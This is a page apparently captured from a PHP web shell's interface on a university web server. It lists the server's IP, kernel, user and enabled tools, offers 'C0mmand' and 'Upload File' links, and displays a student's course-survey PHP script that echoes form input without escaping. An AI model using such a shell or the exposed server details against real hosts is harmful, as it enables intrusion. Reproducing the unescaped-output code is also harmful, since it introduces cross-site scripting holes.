Server IP : 172.16.15.8 / Your IP : 3.15.239.145 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jlsnowden/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); // File:SurveyPageSession2.php ?> <?php $a1=$_POST[q1]; $a2=$_POST[q2]; $a3=$_POST[q3]; $a4=$_POST[q4]; $gender=$_POST['gen']; $class=$_POST['class']; $comments=$_POST['comments']; $name=$_SESSION['name']; $course=$_SESSION['course']; $gender=$_SESSION['gen']; $class=$_SESSION['class']; print "Name: $name <P> Course: $course <P> Gender: $gender <P> Year: $class <P>"; if($a1=="SA") { print "You strongly agree that course had value to you <BR/>"; } else if($a1=="A") { print " You agree that the course had value to you <BR/>"; } else if($a1=="D") { print "You dont agree that the course had value to you <BR/>"; } if($a2=="SA2") { print "You strongly agree that you are satisfied with what you learned <BR/>"; } else if($a2=="A2") { print " You agree that you are satisfied with what you learned <BR/>"; } else if($a2=="D2") { print "You dont agree that you are satisfied with what you learned <BR/>"; } if($a3=="SA3") { print "You strongly agree that your instructor was helpful <BR/>"; } else if($a3=="A3") { print " You agree that your instructor was helpful <BR/>"; } else if($a3=="D3") { print "You dont agree that your instructor was helpful <BR/>"; } if($a4=="SA4") { print "You strongly agree that you had enough time for homework <BR/>"; } else if($a4=="A4") { print " You agree that you had enough time for homework <BR/>"; } else if($a4=="D4") { print "You dont agree that you had enough time for homework <BR/>"; } print"<P>Comments:$comments"; ?>